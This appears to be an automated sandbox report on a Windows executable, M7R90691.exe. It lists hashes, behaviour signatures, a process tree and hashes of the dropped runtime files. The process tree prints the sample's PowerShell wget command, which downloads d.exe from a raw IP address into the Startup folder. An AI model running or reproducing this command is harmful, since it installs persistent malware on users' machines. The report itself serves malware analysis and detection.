Analysis

  • max time kernel
    87s
  • max time network
    89s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/05/2023, 08:54

General

  • Target

    M7R90691.exe

  • Size

    6.9MB

  • MD5

    1d60dde0b4ba13d3d843cea761b9f4ed

  • SHA1

    1c7fa4c63acb86b5de8b2c5443c09a58dc4d0ff9

  • SHA256

    bc1669a5747c1c381b74017308f30427d1bdc0d70a3f3cbf4b28d8c78aa5503d

  • SHA512

    04f9b1834e94de60a31c554f48448041e329e011dd2b68d3387595c7ee463a3207c79cbd07d6abefee7bb2e14f05d5160423afa0253304947e24111719d493b6

  • SSDEEP

    196608:gulZ4dQmRrdA6l7aycBIGpEVSE0gLHAy9Y:R4dQOl29Fzgr7

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops startup file 1 IoCs
  • Loads dropped DLL 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\M7R90691.exe
    "C:\Users\Admin\AppData\Local\Temp\M7R90691.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1436
    • C:\Users\Admin\AppData\Local\Temp\M7R90691.exe
      "C:\Users\Admin\AppData\Local\Temp\M7R90691.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell wget http://43.142.175.95/d.exe -O 'C:/Users/Admin/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/d.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell wget http://43.142.175.95/d.exe -O 'C:/Users/Admin/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/d.exe'
          4⤵
          • Blocklisted process makes network request
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2312

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\VCRUNTIME140.dll

    Filesize

    106KB

    MD5

    870fea4e961e2fbd00110d3783e529be

    SHA1

    a948e65c6f73d7da4ffde4e8533c098a00cc7311

    SHA256

    76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

    SHA512

    0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\VCRUNTIME140.dll

    Filesize

    106KB

    MD5

    870fea4e961e2fbd00110d3783e529be

    SHA1

    a948e65c6f73d7da4ffde4e8533c098a00cc7311

    SHA256

    76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

    SHA512

    0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_bz2.pyd

    Filesize

    81KB

    MD5

    bbe89cf70b64f38c67b7bf23c0ea8a48

    SHA1

    44577016e9c7b463a79b966b67c3ecc868957470

    SHA256

    775fbc6e9a4c7e9710205157350f3d6141b5a9e8f44cb07b3eac38f2789c8723

    SHA512

    3ee72ba60541116bbca1a62db64074276d40ad8ed7d0ca199a9c51d65c3f0762a8ef6d0e1e9ebf04bf4efe1347f120e4bc3d502dd288339b4df646a59aad0ec1

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_bz2.pyd

    Filesize

    81KB

    MD5

    bbe89cf70b64f38c67b7bf23c0ea8a48

    SHA1

    44577016e9c7b463a79b966b67c3ecc868957470

    SHA256

    775fbc6e9a4c7e9710205157350f3d6141b5a9e8f44cb07b3eac38f2789c8723

    SHA512

    3ee72ba60541116bbca1a62db64074276d40ad8ed7d0ca199a9c51d65c3f0762a8ef6d0e1e9ebf04bf4efe1347f120e4bc3d502dd288339b4df646a59aad0ec1

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_hashlib.pyd

    Filesize

    60KB

    MD5

    d856a545a960bf2dca1e2d9be32e5369

    SHA1

    67a15ecf763cdc2c2aa458a521db8a48d816d91e

    SHA256

    cd33f823e608d3bda759ad441f583a20fc0198119b5a62a8964f172559acb7d3

    SHA512

    34a074025c8b28f54c01a7fd44700fdedb391f55be39d578a003edb90732dec793c2b0d16da3da5cdbd8adbaa7b3b83fc8887872e284800e7a8389345a30a6a4

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_hashlib.pyd

    Filesize

    60KB

    MD5

    d856a545a960bf2dca1e2d9be32e5369

    SHA1

    67a15ecf763cdc2c2aa458a521db8a48d816d91e

    SHA256

    cd33f823e608d3bda759ad441f583a20fc0198119b5a62a8964f172559acb7d3

    SHA512

    34a074025c8b28f54c01a7fd44700fdedb391f55be39d578a003edb90732dec793c2b0d16da3da5cdbd8adbaa7b3b83fc8887872e284800e7a8389345a30a6a4

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_lzma.pyd

    Filesize

    153KB

    MD5

    0a94c9f3d7728cf96326db3ab3646d40

    SHA1

    8081df1dca4a8520604e134672c4be79eb202d14

    SHA256

    0a70e8546fa6038029f2a3764e721ceebea415818e5f0df6b90d6a40788c3b31

    SHA512

    6f047f3bdaead121018623f52a35f7e8b38c58d3a9cb672e8056a5274d02395188975de08cabae948e2cc2c1ca01c74ca7bc1b82e2c23d652e952f3745491087

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_lzma.pyd

    Filesize

    153KB

    MD5

    0a94c9f3d7728cf96326db3ab3646d40

    SHA1

    8081df1dca4a8520604e134672c4be79eb202d14

    SHA256

    0a70e8546fa6038029f2a3764e721ceebea415818e5f0df6b90d6a40788c3b31

    SHA512

    6f047f3bdaead121018623f52a35f7e8b38c58d3a9cb672e8056a5274d02395188975de08cabae948e2cc2c1ca01c74ca7bc1b82e2c23d652e952f3745491087

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_queue.pyd

    Filesize

    29KB

    MD5

    52d0a6009d3de40f4fa6ec61db98c45c

    SHA1

    5083a2aff5bcce07c80409646347c63d2a87bd25

    SHA256

    007bcf19d9b036a7e73f5ef31f39bfb1910f72c9c10e4a1b0658352cfe7a8b75

    SHA512

    cd552a38efaa8720a342b60318f62320ce20c03871d2e50d3fa3a9a730b84dacdbb8eb4d0ab7a1c8a97215b537826c8dc532c9a55213bcd0c1d13d7d8a9ad824

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_queue.pyd

    Filesize

    29KB

    MD5

    52d0a6009d3de40f4fa6ec61db98c45c

    SHA1

    5083a2aff5bcce07c80409646347c63d2a87bd25

    SHA256

    007bcf19d9b036a7e73f5ef31f39bfb1910f72c9c10e4a1b0658352cfe7a8b75

    SHA512

    cd552a38efaa8720a342b60318f62320ce20c03871d2e50d3fa3a9a730b84dacdbb8eb4d0ab7a1c8a97215b537826c8dc532c9a55213bcd0c1d13d7d8a9ad824

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_socket.pyd

    Filesize

    75KB

    MD5

    0f5e64e33f4d328ef11357635707d154

    SHA1

    8b6dcb4b9952b362f739a3f16ae96c44bea94a0e

    SHA256

    8af6d70d44bb9398733f88bcfb6d2085dd1a193cd00e52120b96a651f6e35ebe

    SHA512

    4be9febb583364da75b6fb3a43a8b50ee29ca8fc1dda35b96c0fcc493342372f69b4f27f2604888bca099c8d00f38a16f4c9463c16eff098227d812c29563643

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_socket.pyd

    Filesize

    75KB

    MD5

    0f5e64e33f4d328ef11357635707d154

    SHA1

    8b6dcb4b9952b362f739a3f16ae96c44bea94a0e

    SHA256

    8af6d70d44bb9398733f88bcfb6d2085dd1a193cd00e52120b96a651f6e35ebe

    SHA512

    4be9febb583364da75b6fb3a43a8b50ee29ca8fc1dda35b96c0fcc493342372f69b4f27f2604888bca099c8d00f38a16f4c9463c16eff098227d812c29563643

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_ssl.pyd

    Filesize

    155KB

    MD5

    9ddb64354ef0b91c6999a4b244a0a011

    SHA1

    86a9dc5ea931638699eb6d8d03355ad7992d2fee

    SHA256

    e33b7a4aa5cdd5462ee66830636fdd38048575a43d06eb7e2f688358525ddeab

    SHA512

    4c86478861fa4220680a94699e7d55fbdc90d2785caee10619cecb058f833292ee7c3d6ac2ed1ef34b38fbff628b79d672194a337701727a54bb6bbc5bf9aeca

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\_ssl.pyd

    Filesize

    155KB

    MD5

    9ddb64354ef0b91c6999a4b244a0a011

    SHA1

    86a9dc5ea931638699eb6d8d03355ad7992d2fee

    SHA256

    e33b7a4aa5cdd5462ee66830636fdd38048575a43d06eb7e2f688358525ddeab

    SHA512

    4c86478861fa4220680a94699e7d55fbdc90d2785caee10619cecb058f833292ee7c3d6ac2ed1ef34b38fbff628b79d672194a337701727a54bb6bbc5bf9aeca

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\base_library.zip

    Filesize

    1.0MB

    MD5

    5bd3599bfddcdf8f39c265a461a140f4

    SHA1

    0101fc332b376918739a97496693b0f49a0761c3

    SHA256

    5f8e4b0211a146c1d8b9376b210a58394f5e6ca69e71a7a75171f9f73cb35e2c

    SHA512

    0b770d1e15dff9b43d661d6fea8b50d6b1eddb3a07072ce7cfbfd3f0f53c7abee13d2a2f8ec35f4a32fc96208392037502a69b2ec0249f8ddc995395675cc992

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\charset_normalizer\md.cp310-win_amd64.pyd

    Filesize

    10KB

    MD5

    b8a9e1f06aedeb45123ab9dd97463040

    SHA1

    587ad1ccd9b1ea877438c2c1e5507918bb8af9ea

    SHA256

    95366eaf4d86298b56eaa7fed906b10c794fc1b766a9fd16fa5803b804c327d5

    SHA512

    1905d46e787d6d849984bf431c5dc4027dcd432a665bc24d28541826b59e0a95918739ac1314b857509f970809b1ec58b72cf4a165077163b4fac9fbadda555c

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\charset_normalizer\md.cp310-win_amd64.pyd

    Filesize

    10KB

    MD5

    b8a9e1f06aedeb45123ab9dd97463040

    SHA1

    587ad1ccd9b1ea877438c2c1e5507918bb8af9ea

    SHA256

    95366eaf4d86298b56eaa7fed906b10c794fc1b766a9fd16fa5803b804c327d5

    SHA512

    1905d46e787d6d849984bf431c5dc4027dcd432a665bc24d28541826b59e0a95918739ac1314b857509f970809b1ec58b72cf4a165077163b4fac9fbadda555c

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\charset_normalizer\md__mypyc.cp310-win_amd64.pyd

    Filesize

    114KB

    MD5

    17a65ab94931998401468aee62820ff3

    SHA1

    66f7b02f61c95c903cbeef042cf961dfa8452311

    SHA256

    10d2004ad4f376b928b49d77739b85991e50ae2441ded138d1266ddf954bfdea

    SHA512

    5b4d5f20480e3587e13439bb361049a4f95178a1898673fa6071c8be43a874795d95168c8259581022ac6145b7ea6d0df3d74457b2de561bdb28487f1a6647e8

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\charset_normalizer\md__mypyc.cp310-win_amd64.pyd

    Filesize

    114KB

    MD5

    17a65ab94931998401468aee62820ff3

    SHA1

    66f7b02f61c95c903cbeef042cf961dfa8452311

    SHA256

    10d2004ad4f376b928b49d77739b85991e50ae2441ded138d1266ddf954bfdea

    SHA512

    5b4d5f20480e3587e13439bb361049a4f95178a1898673fa6071c8be43a874795d95168c8259581022ac6145b7ea6d0df3d74457b2de561bdb28487f1a6647e8

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\libcrypto-1_1.dll

    Filesize

    3.3MB

    MD5

    6f4b8eb45a965372156086201207c81f

    SHA1

    8278f9539463f0a45009287f0516098cb7a15406

    SHA256

    976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541

    SHA512

    2c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\libcrypto-1_1.dll

    Filesize

    3.3MB

    MD5

    6f4b8eb45a965372156086201207c81f

    SHA1

    8278f9539463f0a45009287f0516098cb7a15406

    SHA256

    976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541

    SHA512

    2c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\libcrypto-1_1.dll

    Filesize

    3.3MB

    MD5

    6f4b8eb45a965372156086201207c81f

    SHA1

    8278f9539463f0a45009287f0516098cb7a15406

    SHA256

    976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541

    SHA512

    2c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\libssl-1_1.dll

    Filesize

    686KB

    MD5

    8769adafca3a6fc6ef26f01fd31afa84

    SHA1

    38baef74bdd2e941ccd321f91bfd49dacc6a3cb6

    SHA256

    2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071

    SHA512

    fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\libssl-1_1.dll

    Filesize

    686KB

    MD5

    8769adafca3a6fc6ef26f01fd31afa84

    SHA1

    38baef74bdd2e941ccd321f91bfd49dacc6a3cb6

    SHA256

    2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071

    SHA512

    fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\python310.dll

    Filesize

    4.3MB

    MD5

    deaf0c0cc3369363b800d2e8e756a402

    SHA1

    3085778735dd8badad4e39df688139f4eed5f954

    SHA256

    156cf2b64dd0f4d9bdb346b654a11300d6e9e15a65ef69089923dafc1c71e33d

    SHA512

    5cac1d92af7ee18425b5ee8e7cd4e941a9ddffb4bc1c12bb8aeabeed09acec1ff0309abc41a2e0c8db101fee40724f8bfb27a78898128f8746c8fe01c1631989

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\python310.dll

    Filesize

    4.3MB

    MD5

    deaf0c0cc3369363b800d2e8e756a402

    SHA1

    3085778735dd8badad4e39df688139f4eed5f954

    SHA256

    156cf2b64dd0f4d9bdb346b654a11300d6e9e15a65ef69089923dafc1c71e33d

    SHA512

    5cac1d92af7ee18425b5ee8e7cd4e941a9ddffb4bc1c12bb8aeabeed09acec1ff0309abc41a2e0c8db101fee40724f8bfb27a78898128f8746c8fe01c1631989

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\select.pyd

    Filesize

    28KB

    MD5

    c119811a40667dca93dfe6faa418f47a

    SHA1

    113e792b7dcec4366fc273e80b1fc404c309074c

    SHA256

    8f27cd8c5071cb740a2191b3c599e99595b121f461988166f07d9f841e7116b7

    SHA512

    107257dbd8cf2607e4a1c7bef928a6f61ebdfc21be1c4bdc3a649567e067e9bb7ea40c0ac8844d2cedd08682447b963148b52f85adb1837f243df57af94c04b3

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\select.pyd

    Filesize

    28KB

    MD5

    c119811a40667dca93dfe6faa418f47a

    SHA1

    113e792b7dcec4366fc273e80b1fc404c309074c

    SHA256

    8f27cd8c5071cb740a2191b3c599e99595b121f461988166f07d9f841e7116b7

    SHA512

    107257dbd8cf2607e4a1c7bef928a6f61ebdfc21be1c4bdc3a649567e067e9bb7ea40c0ac8844d2cedd08682447b963148b52f85adb1837f243df57af94c04b3

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\ucrtbase.dll

    Filesize

    992KB

    MD5

    0e0bac3d1dcc1833eae4e3e4cf83c4ef

    SHA1

    4189f4459c54e69c6d3155a82524bda7549a75a6

    SHA256

    8a91052ef261b5fbf3223ae9ce789af73dfe1e9b0ba5bdbc4d564870a24f2bae

    SHA512

    a45946e3971816f66dd7ea3788aacc384a9e95011500b458212dc104741315b85659e0d56a41570731d338bdf182141c093d3ced222c007038583ceb808e26fd

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\ucrtbase.dll

    Filesize

    992KB

    MD5

    0e0bac3d1dcc1833eae4e3e4cf83c4ef

    SHA1

    4189f4459c54e69c6d3155a82524bda7549a75a6

    SHA256

    8a91052ef261b5fbf3223ae9ce789af73dfe1e9b0ba5bdbc4d564870a24f2bae

    SHA512

    a45946e3971816f66dd7ea3788aacc384a9e95011500b458212dc104741315b85659e0d56a41570731d338bdf182141c093d3ced222c007038583ceb808e26fd

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\unicodedata.pyd

    Filesize

    1.1MB

    MD5

    4c8af8a30813e9380f5f54309325d6b8

    SHA1

    169a80d8923fb28f89bc26ebf89ffe37f8545c88

    SHA256

    4b6e3ba734c15ec789b5d7469a5097bd082bdfd8e55e636ded0d097cf6511e05

    SHA512

    ea127779901b10953a2bf9233e20a4fab2fba6f97d7baf40c1b314b7cd03549e0f4d2fb9bad0fbc23736e21eb391a418d79a51d64402245c1cd8899e4d765c5a

  • C:\Users\Admin\AppData\Local\Temp\_MEI14362\unicodedata.pyd

    Filesize

    1.1MB

    MD5

    4c8af8a30813e9380f5f54309325d6b8

    SHA1

    169a80d8923fb28f89bc26ebf89ffe37f8545c88

    SHA256

    4b6e3ba734c15ec789b5d7469a5097bd082bdfd8e55e636ded0d097cf6511e05

    SHA512

    ea127779901b10953a2bf9233e20a4fab2fba6f97d7baf40c1b314b7cd03549e0f4d2fb9bad0fbc23736e21eb391a418d79a51d64402245c1cd8899e4d765c5a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kctr5sqn.jdk.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2312-226-0x00000230B9B30000-0x00000230B9B52000-memory.dmp

    Filesize

    136KB

  • memory/2312-231-0x00000230D21C0000-0x00000230D21D0000-memory.dmp

    Filesize

    64KB

  • memory/2312-232-0x00000230D21C0000-0x00000230D21D0000-memory.dmp

    Filesize

    64KB

  • memory/2312-233-0x00000230D21C0000-0x00000230D21D0000-memory.dmp

    Filesize

    64KB

  • memory/2312-234-0x00000230D21C0000-0x00000230D21D0000-memory.dmp

    Filesize

    64KB

  • memory/2312-235-0x00000230D21C0000-0x00000230D21D0000-memory.dmp

    Filesize

    64KB

  • memory/2312-236-0x00000230D21C0000-0x00000230D21D0000-memory.dmp

    Filesize

    64KB